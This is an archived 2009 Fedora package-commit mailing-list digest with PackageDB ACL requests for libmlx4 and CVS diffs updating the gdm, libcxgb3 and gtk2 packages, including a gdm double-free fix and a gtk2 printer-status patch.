Message-ID: <20091028150755.6B9F610F8C7@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libmlx4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:59 +0000
Subject: [pkgdb] libmlx4: dledford has requested commit
Message-ID: <20091028150759.57E3710F8CD@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libmlx4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:08:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:08:05 +0000
Subject: [pkgdb] libmlx4: dledford has requested watchbugzilla
Message-ID: <20091028150805.47B1810F89C@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libmlx4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:08:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:08:07 +0000
Subject: [pkgdb] libmlx4: dledford has requested watchcommits
Message-ID: <20091028150807.C4B7210F8CE@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libmlx4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:08:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:08:09 +0000
Subject: [pkgdb] libmlx4: dledford has requested commit
Message-ID: <20091028150809.F36B010F8C3@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libmlx4 (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From rstrode at fedoraproject.org  Wed Oct 28 15:15:42 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed, 28 Oct 2009 15:15:42 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.6,1.7 gdm.spec,1.509,1.510
Message-ID: <20091028151542.1C8EF11C00E5@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10602

Modified Files:
	gdm-multistack.patch gdm.spec 
Log Message:
- Fix double free during user switching (might address
  bug 512944)


gdm-multistack.patch:
 gdm-greeter-login-window.c |   10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.6 -r 1.7 gdm-multistack.patchIndex: gdm-multistack.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-multistack.patch,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- gdm-multistack.patch	27 Oct 2009 19:46:29 -0000	1.6
+++ gdm-multistack.patch	28 Oct 2009 15:15:41 -0000	1.7
@@ -1,17968 +1,31 @@
-From dfa6b8d5ed60552f435c34c47bc45089fa3eef48 Mon Sep 17 00:00:00 2001
+From b773a74dec86ebf40941aa7ac1892c1329704ba3 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 20 Feb 2009 13:52:19 -0500
-Subject: [PATCH 07/53] Add a comment marking protected api in chooser
+Date: Wed, 28 Oct 2009 11:13:10 -0400
+Subject: [PATCH] Prevent start session signal handler from getting called multiple times
 
-The chooser widget has methods that only its
-subclasses are supposed to call.  We should
-mark them as such.
+It was causing a double free.
 ---
- gui/simple-greeter/gdm-chooser-widget.h |    2 ++
- 1 files changed, 2 insertions(+), 0 deletions(-)
-
-diff --git a/gui/simple-greeter/gdm-chooser-widget.h b/gui/simple-greeter/gdm-chooser-widget.h
-index 578e613..7e3e59c 100644
---- a/gui/simple-greeter/gdm-chooser-widget.h
-+++ b/gui/simple-greeter/gdm-chooser-widget.h
-@@ -136,6 +136,8 @@ int            gdm_chooser_widget_get_number_of_items          (GdmChooserWidget
- void           gdm_chooser_widget_activate_if_one_item         (GdmChooserWidget          *widget);
- void           gdm_chooser_widget_propagate_pending_key_events (GdmChooserWidget          *widget);
- 
-+/* Protected
-+ */
- void           gdm_chooser_widget_loaded                       (GdmChooserWidget          *widget);
- 
- G_END_DECLS
--- 
-1.6.5.1
-
-
-From 7b4e38d04e246d7dc4c446ed2a3c69fcc67257cb Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 6 Feb 2009 17:44:37 -0500
-Subject: [PATCH 08/53] Drop duplicated entry introspection output
-
----
- daemon/gdm-greeter-server.c |    1 -
- 1 files changed, 0 insertions(+), 1 deletions(-)
-
-diff --git a/daemon/gdm-greeter-server.c b/daemon/gdm-greeter-server.c
-index 2e01d33..cecce83 100644
---- a/daemon/gdm-greeter-server.c
-+++ b/daemon/gdm-greeter-server.c
-@@ -752,7 +752,6 @@ do_introspect (DBusConnection *connection,
-                                "      <arg name=\"layout_name\" type=\"s\"/>\n"
-                                "    </signal>\n"
-                                "    <signal name=\"DefaultSessionNameChanged\">\n"
--                               "    <signal name=\"DefaultSessionNameChanged\">\n"
-                                "      <arg name=\"session_name\" type=\"s\"/>\n"
-                                "    </signal>\n"
-                                "    <signal name=\"TimedLoginRequested\">\n"
--- 
-1.6.5.1
-
-
-From 8d5ddd913f13581df1662730745c1d906772185e Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Mon, 2 Mar 2009 10:07:03 -0500
-Subject: [PATCH 09/53] Make lookup_item not warn when passing NULL for args
-
-gtk_tree_model_get doesn't like NULL, and we allow
-NULL for optional return values.
-
-We now check each argument for NULL and call
-gtk_tree_model_get individually N times (one for
-each argument) instead of just once.
----
- gui/simple-greeter/gdm-chooser-widget.c |   31 ++++++++++++++++++++++++-------
- 1 files changed, 24 insertions(+), 7 deletions(-)
-
-diff --git a/gui/simple-greeter/gdm-chooser-widget.c b/gui/simple-greeter/gdm-chooser-widget.c
-index 2875456..cbd5072 100644
---- a/gui/simple-greeter/gdm-chooser-widget.c
-+++ b/gui/simple-greeter/gdm-chooser-widget.c
-@@ -2171,13 +2171,30 @@ gdm_chooser_widget_lookup_item (GdmChooserWidget *widget,
-         }
-         g_free (active_item_id);
- 
--        gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
--                            CHOOSER_IMAGE_COLUMN, image,
--                            CHOOSER_NAME_COLUMN, name,
--                            CHOOSER_PRIORITY_COLUMN, priority,
--                            CHOOSER_ITEM_IS_IN_USE_COLUMN, is_in_use,
--                            CHOOSER_ITEM_IS_SEPARATED_COLUMN, is_separate,
--                            -1);
-+        if (image != NULL) {
-+                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
-+                                    CHOOSER_IMAGE_COLUMN, image, -1);
-+        }
-+
-+        if (name != NULL) {
-+                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
-+                                    CHOOSER_NAME_COLUMN, name, -1);
-+        }
-+
-+        if (priority != NULL) {
-+                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
-+                                    CHOOSER_PRIORITY_COLUMN, priority, -1);
-+        }
-+
-+        if (is_in_use != NULL) {
-+                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
-+                                    CHOOSER_ITEM_IS_IN_USE_COLUMN, is_in_use, -1);
-+        }
-+
-+        if (is_separate != NULL) {
-+                gtk_tree_model_get (GTK_TREE_MODEL (widget->priv->list_store), &iter,
-+                                    CHOOSER_ITEM_IS_SEPARATED_COLUMN, is_separate, -1);
-+        }
- 
-         return TRUE;
- }
--- 
-1.6.5.1
-
-
-From 57a0d19b8b1e5e7a2132b15ea2c536207b61f80f Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 6 Feb 2009 15:35:00 -0500
-Subject: [PATCH 10/53] Drop "stopped" signal from worker-job class
-
-It was unused, dead code.
----
- daemon/gdm-session-direct.c     |   14 --------------
- daemon/gdm-session-worker-job.c |   11 -----------
- daemon/gdm-session-worker-job.h |    1 -
- 3 files changed, 0 insertions(+), 26 deletions(-)
-
-diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 47a5778..b6abae4 100644
---- a/daemon/gdm-session-direct.c
-+++ b/daemon/gdm-session-direct.c
-@@ -1539,13 +1539,6 @@ gdm_session_direct_init (GdmSessionDirect *session)
- }
- 
- static void
--worker_stopped (GdmSessionWorkerJob *job,
--                GdmSessionDirect    *session)
--{
--        g_debug ("GdmSessionDirect: Worker job stopped");
--}
--
--static void
- worker_started (GdmSessionWorkerJob *job,
-                 GdmSessionDirect    *session)
- {
-@@ -1588,10 +1581,6 @@ start_worker (GdmSessionDirect *session)
-         session->priv->job = gdm_session_worker_job_new ();
-         gdm_session_worker_job_set_server_address (session->priv->job, session->priv->server_address);
-         g_signal_connect (session->priv->job,
--                          "stopped",
--                          G_CALLBACK (worker_stopped),
--                          session);
--        g_signal_connect (session->priv->job,
-                           "started",
-                           G_CALLBACK (worker_started),
-                           session);
-@@ -1613,9 +1602,6 @@ static void
- stop_worker (GdmSessionDirect *session)
- {
-         g_signal_handlers_disconnect_by_func (session->priv->job,
--                                              G_CALLBACK (worker_stopped),
--                                              session);
--        g_signal_handlers_disconnect_by_func (session->priv->job,
-                                               G_CALLBACK (worker_started),
-                                               session);
-         g_signal_handlers_disconnect_by_func (session->priv->job,
-diff --git a/daemon/gdm-session-worker-job.c b/daemon/gdm-session-worker-job.c
-index 6723464..633d6e2 100644
---- a/daemon/gdm-session-worker-job.c
-+++ b/daemon/gdm-session-worker-job.c
-@@ -68,7 +68,6 @@ enum {
- 
- enum {
-         STARTED,
--        STOPPED,
-         EXITED,
-         DIED,
-         LAST_SIGNAL
-@@ -390,16 +389,6 @@ gdm_session_worker_job_class_init (GdmSessionWorkerJobClass *klass)
-                               g_cclosure_marshal_VOID__VOID,
-                               G_TYPE_NONE,
-                               0);
--        signals [STOPPED] =
--                g_signal_new ("stopped",
--                              G_OBJECT_CLASS_TYPE (object_class),
--                              G_SIGNAL_RUN_FIRST,
--                              G_STRUCT_OFFSET (GdmSessionWorkerJobClass, stopped),
[...17692 lines suppressed...]
-+                           "nonexistent conversation %s", service_name);
++        if (!login_window->priv->is_interactive) {
 +                return;
 +        }
 +
-+        stop_all_other_conversations (impl, conversation);
-+
-         command = get_session_command (impl);
-         program = g_strdup_printf (GDMCONFDIR "/Xsession \"%s\"", command);
-         g_free (command);
- 
--        conversation = find_conversation_by_name (impl, service_name);
--
-         setup_session_environment (impl);
-         send_environment (impl, conversation);
- 
-@@ -2285,23 +2327,7 @@ gdm_session_direct_start_session (GdmSession *session,
- static void
- stop_all_conversations (GdmSessionDirect *session)
- {
--        GHashTableIter iter;
--        gpointer key, value;
--
--        if (session->priv->conversations == NULL) {
--                return;
--        }
--
--        g_hash_table_iter_init (&iter, session->priv->conversations);
--        while (g_hash_table_iter_next (&iter, &key, &value)) {
--                GdmSessionConversation *conversation;
--
--                conversation = (GdmSessionConversation *) value;
--
--                stop_conversation (conversation);
--        }
--
--        g_hash_table_remove_all (session->priv->conversations);
-+        stop_all_other_conversations (session, NULL);
- }
- 
- static void
-diff --git a/daemon/gdm-simple-slave.c b/daemon/gdm-simple-slave.c
-index 337718b..63ea82c 100644
---- a/daemon/gdm-simple-slave.c
-+++ b/daemon/gdm-simple-slave.c
-@@ -575,7 +575,7 @@ on_session_conversation_stopped (GdmSession     *session,
-         gboolean res;
-         g_debug ("GdmSimpleSlave: conversation stopped");
- 
--        if (slave->priv->greeter_server != NULL) {
-+        if (slave->priv->greeter != NULL) {
-                 res = gdm_greeter_server_conversation_stopped (slave->priv->greeter_server,
-                                                                service_name);
-                 if (! res) {
--- 
-1.6.5.1
-
-
-From 7f0b059434796ce2f352c8c72a5fa695c643fa04 Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Tue, 21 Apr 2009 15:30:28 -0400
-Subject: [PATCH 50/53] When one PAM conv. wins, actually stop the others
-
-We weren't properly keeping the winning conversation
-around in the previous commit
----
- daemon/gdm-session-direct.c |   13 ++++++++++---
- 1 files changed, 10 insertions(+), 3 deletions(-)
-
-diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 52a67c4..7cc5511 100644
---- a/daemon/gdm-session-direct.c
-+++ b/daemon/gdm-session-direct.c
-@@ -2282,13 +2282,20 @@ stop_all_other_conversations (GdmSessionDirect        *session,
-                 conversation = (GdmSessionConversation *) value;
- 
-                 if (conversation == conversation_to_keep) {
--                        continue;
-+                        g_hash_table_iter_steal (&iter);
-+                        g_free (key);
-+                } else {
-+                        stop_conversation (conversation);
-                 }
--
--                stop_conversation (conversation);
-         }
- 
-         g_hash_table_remove_all (session->priv->conversations);
+         gdm_greeter_login_window_start_session_when_ready (login_window, service_name);
+         g_free (service_name);
 +
-+        if (conversation_to_keep != NULL) {
-+                g_hash_table_insert (session->priv->conversations,
-+                                     g_strdup (conversation_to_keep->service_name),
-+                                     conversation_to_keep);
++        if (login_window->priv->start_session_handler_id > 0) {
++                g_signal_handler_disconnect (login_window, login_window->priv->start_session_handler_id);
++                login_window->priv->start_session_handler_id = 0;
 +        }
  }
  
@@ -17970,98 +33,3 @@ index 52a67c4..7cc5511 100644
 -- 
 1.6.5.1
 
-
-From 189d1903462ccf6afbbddd9ccfdb79f0a8c2f099 Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 24 Jul 2009 14:41:48 -0400
-Subject: [PATCH 51/53] KILL pam stack instead of TERM pam stack
-
-Some PAM modules are really slow to shut down.
-We need to handle them being slow to shut down better,
-(by not blocking login on them shutting down etc), but
-in the mean time force them to die immediately.
-
-This is a temporary hack.
----
- daemon/gdm-session-worker-job.c |    2 +-
- 1 files changed, 1 insertions(+), 1 deletions(-)
-
-diff --git a/daemon/gdm-session-worker-job.c b/daemon/gdm-session-worker-job.c
-index 0327d77..d99b8a5 100644
---- a/daemon/gdm-session-worker-job.c
-+++ b/daemon/gdm-session-worker-job.c
-@@ -320,7 +320,7 @@ gdm_session_worker_job_stop (GdmSessionWorkerJob *session_worker_job)
- 
-         g_debug ("GdmSessionWorkerJob: Stopping job pid:%d", session_worker_job->priv->pid);
- 
--        res = gdm_signal_pid (session_worker_job->priv->pid, SIGTERM);
-+        res = gdm_signal_pid (session_worker_job->priv->pid, SIGKILL);
- 
-         if (res < 0) {
-                 g_warning ("Unable to kill session worker process");
--- 
-1.6.5.1
-
-
-From 77fcb562d35226b77787899dc20432838e19c8ba Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Wed, 21 Oct 2009 16:08:52 -0400
-Subject: [PATCH 52/53] Don't show tasklist for autologin
-
----
- gui/simple-greeter/gdm-greeter-login-window.c |    5 +++++
- 1 files changed, 5 insertions(+), 0 deletions(-)
-
-diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fc12f36..8af5452 100644
---- a/gui/simple-greeter/gdm-greeter-login-window.c
-+++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1189,6 +1189,11 @@ begin_auto_login (GdmGreeterLoginWindow *login_window)
-         set_message (login_window, _("Select language and click Log In"));
- 
-         switch_mode (login_window, MODE_AUTHENTICATION);
-+
-+        show_widget (login_window, "conversation-list", FALSE);
-+        gdm_task_list_foreach_task (GDM_TASK_LIST (login_window->priv->conversation_list),
-+                                    (GdmTaskListForeachFunc) reset_task,
-+                                    login_window);
- }
- 
- static gboolean
--- 
-1.6.5.1
-
-
-From 5926910dba8dfe78bef05ff4a21ae46b5cb69ffb Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Fri, 23 Oct 2009 17:39:19 -0400
-Subject: [PATCH 53/53] Drop the other hiding stuff for now.
-
-It depends on buttons being available that we don't have
-in the multi-stack branch.
----
- gui/simple-greeter/gdm-user-chooser-widget.c |    8 +-------
- 1 files changed, 1 insertions(+), 7 deletions(-)
-
-diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
-index bff71e5..4d3c445 100644
---- a/gui/simple-greeter/gdm-user-chooser-widget.c
-+++ b/gui/simple-greeter/gdm-user-chooser-widget.c
-@@ -140,13 +140,7 @@ update_other_user_visibility (GdmUserChooserWidget *widget)
-                 return;
-         }
- 
--        number_of_users = gdm_chooser_widget_get_number_of_items (GDM_CHOOSER_WIDGET (widget));
--
--        /* we hide the Other user if it's the last one, and we show it
--         * if there's another user */
--        if (number_of_users == 1 && widget->priv->has_user_other) {
--                remove_user_other (widget);
--        } if (number_of_users >= 1 && !widget->priv->has_user_other) {
-+        if (!widget->priv->has_user_other) {
-                 add_user_other (widget);
-         }
- }
--- 
-1.6.5.1
-


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.509
retrieving revision 1.510
diff -u -p -r1.509 -r1.510
--- gdm.spec	27 Oct 2009 19:46:29 -0000	1.509
+++ gdm.spec	28 Oct 2009 15:15:41 -0000	1.510
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.1
-Release: 12%{?dist}
+Release: 13%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -413,6 +413,10 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Wed Oct 28 2009 Ray Strode <rstrode at redhat.com> 2.28.1-13
+- Fix double free during user switching (might address
+  bug 512944)
+
 * Tue Oct 27 2009 Ray Strode <rstrode at redhat.com> 2.28.1-12
 - One more go at bug 527920
 



From dledford at fedoraproject.org  Wed Oct 28 15:23:37 2009
From: dledford at fedoraproject.org (Doug Ledford)
Date: Wed, 28 Oct 2009 15:23:37 +0000 (UTC)
Subject: rpms/libcxgb3/devel .cvsignore, 1.2, 1.3 libcxgb3.spec, 1.3,
	1.4 sources, 1.2, 1.3
Message-ID: <20091028152337.24F9311C00E5@cvs1.fedora.phx.redhat.com>

Author: dledford

Update of /cvs/extras/rpms/libcxgb3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12515

Modified Files:
	.cvsignore libcxgb3.spec sources 
Log Message:
* Wed Oct 28 2009 Doug Ledford <dledford at redhat.com> - 1.2.5-1
- Update to latest version
- Add provides of libibverbs-driver



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/libcxgb3/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	30 Jun 2008 19:37:59 -0000	1.2
+++ .cvsignore	28 Oct 2009 15:23:33 -0000	1.3
@@ -1 +1,2 @@
 libcxgb3-1.2.1.tar.gz
+libcxgb3-1.2.5.tar.gz


Index: libcxgb3.spec
===================================================================
RCS file: /cvs/extras/rpms/libcxgb3/devel/libcxgb3.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- libcxgb3.spec	25 Jul 2009 05:28:58 -0000	1.3
+++ libcxgb3.spec	28 Oct 2009 15:23:33 -0000	1.4
@@ -1,6 +1,6 @@
 Name: libcxgb3
-Version: 1.2.1
-Release: 3%{?dist}
+Version: 1.2.5
+Release: 1%{?dist}
 Summary: Chelsio T3 iWARP HCA Userspace Driver
 Group: System Environment/Libraries
 License: GPLv2 or BSD
@@ -10,6 +10,7 @@ Source1: libcxgb3-modprobe.conf
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: libibverbs-devel >= 1.1, libtool
 Obsoletes: %{name}-devel
+Provides: libibverbs-driver
 %description
 Userspace hardware driver for use with the libibverbs InfiniBand/iWARP verbs
 library.  This driver enables Chelsio iWARP capable ethernet devices.
@@ -50,6 +51,10 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.a
 
 %changelog
+* Wed Oct 28 2009 Doug Ledford <dledford at redhat.com> - 1.2.5-1
+- Update to latest version
+- Add provides of libibverbs-driver
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.2.1-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/libcxgb3/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	30 Jun 2008 19:37:59 -0000	1.2
+++ sources	28 Oct 2009 15:23:33 -0000	1.3
@@ -1 +1 @@
-4e74c2961cde0d58b49acf5c9f797d86  libcxgb3-1.2.1.tar.gz
+ed2eaf99bc7cce401dd0549505febdd1  libcxgb3-1.2.5.tar.gz



From mkasik at fedoraproject.org  Wed Oct 28 15:25:58 2009
From: mkasik at fedoraproject.org (=?utf-8?b?TWFyZWsgS2HFocOtaw==?=)
Date: Wed, 28 Oct 2009 15:25:58 +0000 (UTC)
Subject: rpms/gtk2/F-10 gtk2-remove-connecting-reason.patch, NONE,
	1.1 gtk2.spec, 1.348, 1.349
Message-ID: <20091028152558.CAF8511C00E5@cvs1.fedora.phx.redhat.com>

Author: mkasik

Update of /cvs/pkgs/rpms/gtk2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13092

Modified Files:
	gtk2.spec 
Added Files:
	gtk2-remove-connecting-reason.patch 
Log Message:
* Wed Oct 28 2009 Marek Kasik <mkasik at redhat.com> - 2.14.7-9
- Remove handling of "connecting-to-device" reason (#529364)


gtk2-remove-connecting-reason.patch:
 gtkprintbackendcups.c |    2 --
 1 file changed, 2 deletions(-)

--- NEW FILE gtk2-remove-connecting-reason.patch ---
--- modules/printbackends/cups/gtkprintbackendcups.c	2009-10-27 12:46:41.000000000 +0100
+++ modules/printbackends/cups/gtkprintbackendcups.c	2009-10-27 12:47:30.000000000 +0100
@@ -1113,7 +1113,6 @@ cups_request_printer_list_cb (GtkPrintBa
           "media-low",
           "media-empty",
           "offline",
-          "connecting-to-device",
           "other"
         };
       static const char * reasons_descs[] =
@@ -1133,7 +1132,6 @@ cups_request_printer_list_cb (GtkPrintBa
           N_("Printer '%s' is low on paper."),
           N_("Printer '%s' is out of paper."),
           N_("Printer '%s' is currently off-line."),
-          N_("Printer '%s' may not be connected."),
           N_("There is a problem on printer '%s'.")
         };
       gboolean is_paused = FALSE;


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-10/gtk2.spec,v
retrieving revision 1.348
retrieving revision 1.349
diff -u -p -r1.348 -r1.349
--- gtk2.spec	26 May 2009 21:05:45 -0000	1.348
+++ gtk2.spec	28 Oct 2009 15:25:58 -0000	1.349
@@ -16,7 +16,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 8%{?dist}
+Release: 9%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.14/gtk+-%{version}.tar.bz2
@@ -36,6 +36,8 @@ Patch3: default_printer.patch
 Patch4: print_at_local_time.patch
 # fixed upstream
 Patch5: gtk2-register-randr-events.patch
+# https://bugzilla.redhat.com/show_bug.cgi?id=529364
+Patch6: gtk2-remove-connecting-reason.patch
 
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
@@ -125,6 +127,7 @@ docs for the GTK+ widget toolkit.  
 %patch3 -p0 -b .default-printer
 %patch4 -p0 -b .print-at-local-time
 %patch5 -p1 -b .register-randr-events
+%patch6 -p0 -b .remove-connecting-reason
 
 for i in config.guess config.sub ; do
   test -f %{_datadir}/libtool/$i && cp %{_datadir}/libtool/$i .
@@ -308,6 +311,9 @@ fi
 %{_datadir}/gtk-2.0
 
 %changelog
+* Wed Oct 28 2009 Marek Kasik <mkasik at redhat.com> - 2.14.7-9
+- Remove handling of "connecting-to-device" reason (#529364)
+
 * Tue May 26 2009 Matthias Clasen <mclasen at redhat.com> - 2.14.7-8
 - Update the immodules files in %%postun (#502420)
 



From rstrode at fedoraproject.org  Wed Oct 28 15:31:58 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Wed, 28 Oct 2009 15:31:58 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-multistack.patch,1.7,1.8
Message-ID: <20091028153158.5D7BF11C00E5@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13565

Modified Files:
	gdm-multistack.patch 
Log Message:
Regenerate patch to apply cleanly

Not sure why it wasn't before.


gdm-multistack.patch:
 b/common/gdm-marshal.list                                            |    1 
 b/configure.ac                                                       |   45 
 b/daemon/gdm-factory-slave.c                                         |   13 
 b/daemon/gdm-greeter-server.c                                        |    2 
 b/daemon/gdm-greeter-server.h                                        |    5 
 b/daemon/gdm-product-slave.c                                         |   47 
 b/daemon/gdm-session-direct.c                                        |   14 
 b/daemon/gdm-session-private.h                                       |    3 
 b/daemon/gdm-session-relay.c                                         |   29 
 b/daemon/gdm-session-worker-job.c                                    |   11 
 b/daemon/gdm-session-worker-job.h                                    |    2 
 b/daemon/gdm-session-worker.c                                        |   27 
 b/daemon/gdm-session.c                                               |   20 
 b/daemon/gdm-session.h                                               |    9 
 b/daemon/gdm-simple-slave.c                                          |    3 
 b/daemon/test-session.c                                              |   14 
 b/gui/simple-greeter/Makefile.am                                     |    4 
 b/gui/simple-greeter/gdm-chooser-widget.c                            |   32 
 b/gui/simple-greeter/gdm-chooser-widget.h                            |    3 
 b/gui/simple-greeter/gdm-greeter-client.c                            |   18 
 b/gui/simple-greeter/gdm-greeter-client.h                            |    4 
 b/gui/simple-greeter/gdm-greeter-login-window.c                      |   91 
 b/gui/simple-greeter/gdm-greeter-login-window.glade                  |   39 
 b/gui/simple-greeter/gdm-greeter-login-window.h                      |   11 
 b/gui/simple-greeter/gdm-greeter-plugin.c                            |  255 +
 b/gui/simple-greeter/gdm-greeter-plugin.h                            |   61 
 b/gui/simple-greeter/gdm-greeter-session.c                           |    5 
 b/gui/simple-greeter/gdm-plugin-manager.c                            |  478 +++
 b/gui/simple-greeter/gdm-plugin-manager.h                            |   66 
 b/gui/simple-greeter/gdm-task-list.c                                 |  198 +
 b/gui/simple-greeter/gdm-task-list.h                                 |   65 
 b/gui/simple-greeter/gdm-user-chooser-widget.c                       |    2 
 b/gui/simple-greeter/libgdmsimplegreeter/Makefile.am                 |   46 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.c          |  147 +
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-conversation.h          |   87 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.c     |   93 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-greeter-extension.h     |   55 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.c                  |  117 
 b/gui/simple-greeter/libgdmsimplegreeter/gdm-task.h                  |   62 
 b/gui/simple-greeter/libgdmsimplegreeter/gdmsimplegreeter.pc.in      |   11 
 b/gui/simple-greeter/plugins/Makefile.am                             |    1 
 b/gui/simple-greeter/plugins/fingerprint/Makefile.am                 |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.c |  299 ++
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint-extension.h |   56 
 b/gui/simple-greeter/plugins/fingerprint/gdm-fingerprint.pam         |   17 
 b/gui/simple-greeter/plugins/fingerprint/icons/16x16/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/48x48/Makefile.am     |    5 
 b/gui/simple-greeter/plugins/fingerprint/icons/Makefile.am           |    1 
 b/gui/simple-greeter/plugins/fingerprint/page.ui                     |   56 
 b/gui/simple-greeter/plugins/fingerprint/plugin.c                    |   41 
 b/gui/simple-greeter/plugins/password/Makefile.am                    |   53 
 b/gui/simple-greeter/plugins/password/gdm-password-extension.c       |  314 ++
 b/gui/simple-greeter/plugins/password/gdm-password-extension.h       |   56 
 b/gui/simple-greeter/plugins/password/gdm-password.pam               |   19 
 b/gui/simple-greeter/plugins/password/page.ui                        |   56 
 b/gui/simple-greeter/plugins/password/plugin.c                       |   40 
 b/gui/simple-greeter/plugins/smartcard/Makefile.am                   |   77 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.c     |  418 ++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-extension.h     |   56 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.c       | 1394 ++++++++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-manager.h       |   86 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard-worker.c        |  167 +
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.c               |  558 ++++
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.h               |   94 
 b/gui/simple-greeter/plugins/smartcard/gdm-smartcard.pam             |   18 
 b/gui/simple-greeter/plugins/smartcard/icons/16x16/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/48x48/Makefile.am       |    5 
 b/gui/simple-greeter/plugins/smartcard/icons/Makefile.am             |    1 
 b/gui/simple-greeter/plugins/smartcard/page.ui                       |   56 
 b/gui/simple-greeter/plugins/smartcard/plugin.c                      |   40 
 b/po/POTFILES.in                                                     |    2 
